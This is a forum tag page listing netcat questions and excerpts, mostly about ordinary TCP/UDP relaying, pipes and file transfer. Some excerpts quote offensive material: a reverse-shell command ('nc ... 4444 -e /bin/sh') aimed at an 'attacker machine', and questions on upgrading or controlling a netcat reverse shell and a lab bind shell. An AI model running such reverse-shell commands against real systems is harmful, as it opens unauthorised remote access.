Questions tagged [netcat]

Netcat is a computer networking service for reading from and writing network connections using TCP or UDP

Filter by
Sorted by
Tagged with
1
vote
0answers
12 views

Shell script to relay stdin/stdout from an application on one machine to the same application on a different machine

The application, call it 'go-engine-1' is a Go game engine that runs from a Neural Network. It is really strong and I want to benchmark it on different machines on my network. It is intended to be ...
1
vote
0answers
21 views

Bridge / Tunnel using netcat and named pipes

I have two devices (A and B) that should communicate with each other - indirectly via a server (S): /---\ /---\ /---\ | A | <===> | S | <===> | B | \---/ \---/ \---/...
0
votes
1answer
15 views

Need for the -n option in netcat

According to man nc -n Do not do any DNS or service lookups on any specified addresses, hostnames or ports. What I do not understand is why it needs to do any service lookup (also I do not know ...
0
votes
1answer
34 views

Keep track of successful pin in Bandit CTF 24 to 25 [duplicate]

I am doing the bandit wargame of OverTheWire and am trying to pass level 24 -> 25. I successfully got the password with the script below but I'd like to recover the successful pin. I tried ...
3
votes
1answer
64 views

UDP packets received on veth, caught by tcpdump, accepted by iptables, but not forwarded to netcat

I have two namespaces srv1 and srv2, interconnected via a softswitch (p4 bmv2) with veth pairs. The softswitch does just simple forwarding. The veth interfaces inside the namespaces have IP addresses ...
1
vote
1answer
783 views

netcat nc: getnameinfo: Temporary failure in name resolution

I'm on a Raspbian, I've tried to receive data with: nc -4 -l -v -k -p 5004 which result in: Listening on [0.0.0.0] (family 2, port 5004) nc: getnameinfo: Temporary failure in name resolution ...
1
vote
1answer
97 views

systemd unit with netcat and fifo

I have sequence of commands that work started by hand, but not with systemd on (HOST_TX): HOST_RX: nc -v -l -p 5006 Listening on [0.0.0.0] (family 0, port 5006) HOST_TX: /opt/sendtofifo.sh > ...
0
votes
1answer
48 views

bash read netcat status in pipe then exit

I don't understand how to properly setup a data transmission between two host with unstable ethernet connection. This is my /simple/bash/script.sh #!/bin/bash while [ true ]; do cat /dev/...
0
votes
0answers
69 views

How to configure tun device to receive IP/TCP traffic

For learning purposes I would like to read/write raw IP/TCP packets with a custom server. My understanding is that I should be able to do this by attaching the server to a tun device. I would like ...
0
votes
0answers
44 views

How do you send a file over SSL/TLS with nmap's ncat?

This is a clarification question. There appears to be no blog post/website/Unix StackExchange answer or similar answer to this question. If I understand correctly (please do correct if I'm wrong) ...
2
votes
1answer
2k views

invalid option -e in netcat

I am trying to get a shell on host machine from another (attacker) machine. Attacker machine is listening. I am running below command on my host machine nc 123.123.123.12 4444 -e /bin/sh Output I ...
0
votes
1answer
46 views

grep not matching in nc output - tee gives no output

See original Q&A about grep not accepting netcat output on stderr at a prior StackExchange post. Concise answer. I like it. Why does adding a tee on the end fail to produce any output? nc -zvv ...
1
vote
1answer
26 views

How to setup simple netcat server which sleeps before it returns a HTTP response

Scenario Whenever the netcat server receives a connection, I want it to sleep for 2s before returning a HTTP response. I know we can turn netcat into a simple HTTP server by something like nc -lp ...
0
votes
0answers
34 views

Use Netcat from script (without logging into destination)

I have a backup method setup for all my Unix devices in the home to tar|pv|pigz|nc to a local server. As I've seen from numerous examples they all have you first have the destination machine listening ...
0
votes
0answers
34 views

Use netcat to wake pc over the network

I tried to use the following script to wake my pc over the network. $convert the MAC address to binary A="aa:bb:bb:dd:ee:ff" B=`echo $A | sed "s/://g"` magic_packet=$( printf 'f%.0s' {1..12} printf "$...
0
votes
1answer
55 views

ncat stops listening after 100 UDP packets

I'm continuously sending packets to a UDP server after 1 second. To listen for UDP packets: ncat -klup 1234 --sh-exec "cat > /proc/$$/fd/1" However, after printing 100 packets, nothing else ...
1
vote
0answers
28 views

How I can detect whether the database layer is either mysql or mariadb using only netcat

Sometimes on docker entrypoint files I need to detect whether the database layer is either mysql or mariadb in order to provide the correct configuration for my application whilst I develop docker ...
3
votes
0answers
87 views

netcat -s switch does not work or do anything at all

I have a computer with a NIC with two ports and a switch between them, and I'm trying to send data from one port to the other using netcat. I thought I could simply specify the source address (i.e. ...
0
votes
0answers
96 views

'nc.exe' not showing up in directory listing inside netcat session

Sorry for the confusing title. For a class lab, we were required to use netcat to establish a bind shell with a Windows workstation that was listening on a particular port and pushing out its command ...
1
vote
1answer
244 views

How to resume a file transfer using netcat or socat or curl?

I have to transfer a 400Gb database consisting of a single file over the Internet from a server where I have full control to an other computer at the opposite border of the ocean (but which uses a ...
1
vote
0answers
35 views

BSD netcat how to terminate after sending command?

echo "test" | nc -N -U example.soc How can I have this terminate once it has successfully sent the message over? According to the man page: There should now be a connection between the ports. ...
0
votes
1answer
73 views

Making a text based server with netcat or other programs? [closed]

The idea I have is to make a netcat server, and when you connect to it, the server runs a python script with which the user can interact. So for example the script asks for a number, and it outputs ...
5
votes
1answer
1k views

How can I check what version of netcat am I running?

netcat doesn't support --version or --license flag, running strings against the binary doesn't mention version number or anything of that kind. How can I reliably check what does version (openbsd/gnu +...
1
vote
0answers
317 views

How can I send a Hex value to a specific IP address and port number

I am using bash script to send hex values to my network. I need to send 0001000011050000FF00 hex value to IP: 192.168.1.5 Port# 502 using netcat. I tried $ echo '0001000011050000FF00' | xxd -r -p |...
2
votes
1answer
116 views

How to make netcat to simulate a null-modem cable

I am trying to make two VICE emulators on different machines to communicate. They are both able to write and receive characters on a specific port of the local host, but they cannot communicate as ...
0
votes
1answer
261 views

How to keep netcat open using it as a TCP tunnel?

Say I am doing something like this: (bsd variant of nc) nc -k -l 8080 <fifo | nc 10.90.34.18 80 >fifo This works great, I can use the server this is run on as a proxy to reach 10.90.34.18. ...
1
vote
0answers
2k views

Line-ending problem with Telnet: can't remove LF from CRLF when sending command

I am unable to get Telnet to send only CR (\r) at the end of a command, despite setting the crlf toggle to <CR><NUL> (see example below). Instead, Telnet always sends CR-LF (\r\n). My ...
-3
votes
1answer
132 views

Docker with Debian Wheezy is lacking lot of commands!

I have created a docker image from debian:wheezy, to follow a tutorial. I am just wondering how useful is this image because it does not support many commands. For example: "nc", but also (and the ...
0
votes
1answer
764 views

How can I upgrade a primitive Netcat shell to a fully-featured login shell with tab-completion and line editing?

How can I upgrade a primitive Netcat shell to a fully-featured login shell with tab-completion and line editing? Suppose I start a remote (reverse) shell using Netcat as follows: nc -lvp $port nc $...
3
votes
1answer
417 views

Execute a command when upon receipt of a TCP connection

I would like to run a bash command when a remote connection is successfully established to a specified local open port. I have looked into netcat and socat, but I'm not sure if either have the ...
0
votes
1answer
240 views

How can a client talk to another client using unix domain sockets?

Using bash we might have something like this with netcat: nc -lk -U /my/fifo | while read line; do # line => {"client_id":123} done; clients send data like this: echo '{"client_id":123,"data":...
0
votes
1answer
246 views

Netcat listens on a wrong port

When I run the command nc -l -p 443 it starts listening but when I try connecting to it it fails. A few hours later I tried with verbose mode nc -lvp 443 and it printed out listening on [any] 2443. ...
0
votes
1answer
198 views

Understanding the Netcat properly [closed]

Netcat confuses me a little bit and here are the reasons: when I run: nmap localhost There are some ports listed with the information whether they are open or closed. So if I run the command : nc -l -...
1
vote
0answers
2k views

How to send CTRL+c special char to interactive bash over tcp socket?

I use interactive bash shell over TCP network, but can't figure out how to send CTRL+c sequence to the remote bash. I first run netcat instance (this is where I interact with remote bash): nc -nvlp ...
2
votes
2answers
1k views

How to use bash to create a socket server and allow multiple clients in the same port?

I have 4 programs, will be increased in the future, these programs have to connect to the same ip:port to send and receive messages at the same time. Until now I have the socket opened, I also would ...
1
vote
1answer
1k views

compressing a folder tgz , encode to base64 and send over the fly

I am trying to compress a folder, encode to base64 and send it over the fly , but I am getting a error tar: Cowardly refusing to create an empty archive tar -czf Pictures | base64 | nc ...
0
votes
0answers
226 views

Receive only ONE packet using netcat

I would like to use netcat to listen to data and receive only ONE packet. How does one do this?
-1
votes
3answers
1k views

How to send literal string over TCP (netcat/socat-like), but provided by command arguments?

If I want to send a string over TCP in a shell environment, I can do something like: echo text | nc 1.2.3.4 9876 Cool. Interactively, that works. Now I want to do this programmatically by spawning a ...
0
votes
0answers
124 views

ssh tunnel with intermediary machine using named pipes and without listening on any ports on the intermediary

I would like to use an intermediary host to tunnel between two other hosts which are both behind firewalls, and cannot accept incoming connections. For security reasons, I wish to avoid having any ...
0
votes
1answer
372 views

Download zip file from remote HTTPS host using netcat

I'm trying to download a zip file from : https://download.sysinternals.com/files/ProcessExplorer.zip (no curl and no WGET). I want to do that by netcat i used this command : echo -e "GET https://...
1
vote
1answer
295 views

Stop netcat as soon as grep matches something

I am facing a problem using netcat in a bash script. I would like to match a specific output after sending a command and continue the script execution as soon as possible (not waiting for a netcat ...
0
votes
1answer
1k views

redirect created files in a directory from command line

I was wondering if there is any way to redirect created files from a .sh script to a specific directory without modifying the script itself but straight from command line. Let's say: I've a script ...
1
vote
1answer
3k views

Usage of nc with timeouts in ms

I'm using nc in a Debian environment: # dpkg -l | grep netcat ii netcat-traditional 1.10-41+b1 # cat /etc/debian_version 9.4 Its help page describe the behavior of the -w flag: -...
-2
votes
2answers
105 views

How make a port appear open with an nmap scan

To avoid someone knowing which port are open on my machine, I thought it would useful to open all unused port so that the nmaper is unable to identify which port are really open. How make a port ...
0
votes
2answers
520 views

How to let process continue running even after disconnecting ssh?

I have a Linux based router that I’m trying to “control” with a home automation controller. On my automation controller I’m able to utilize a ‘two way strings’ driver to send a string to the Linux ...
1
vote
2answers
3k views

Shell Script in netcat listener to talk with client

I have this script on my netcat server which asks for name and some other information: *echo "Tell me your name" read $ln ...
0
votes
2answers
386 views

Creating persistent netcat link

I have a remote raspberrypi that uses autossh to connect to my local machine (with reverse tunnel -R). This should feed a dump1090 instance on my local machine. I'm using /bin/nc localhost 40005 | /...
15
votes
3answers
6k views

How do I create a UDP packet?

When I perform the following Netcat command and view the packets with Wireshark, it says the UDP packet is malformed. $ echo "this is a test" | nc -u 127.0.0.1 53 Similarly, using commands like $ ...
1
vote
1answer
1k views

netcat, inverse name lookup failed, listening on any address

I'm trying to understand why netcat is listening on any address. Here is the command I give and the response I get # nc -l -p 9500 -vvu 172.24.176.221 9500 Warning: Inverse name lookup failed for `...
3
votes
2answers
1k views

Netcat: UDP connections don't terminate?

A simple example, here's my server/host: nc -ul 192.168.0.2 54 And the client: echo "test" | nc -u 192.168.0.2 54 The server will intercept the "test" message, but nc doesn't close. It just ...

1
2 3 4 5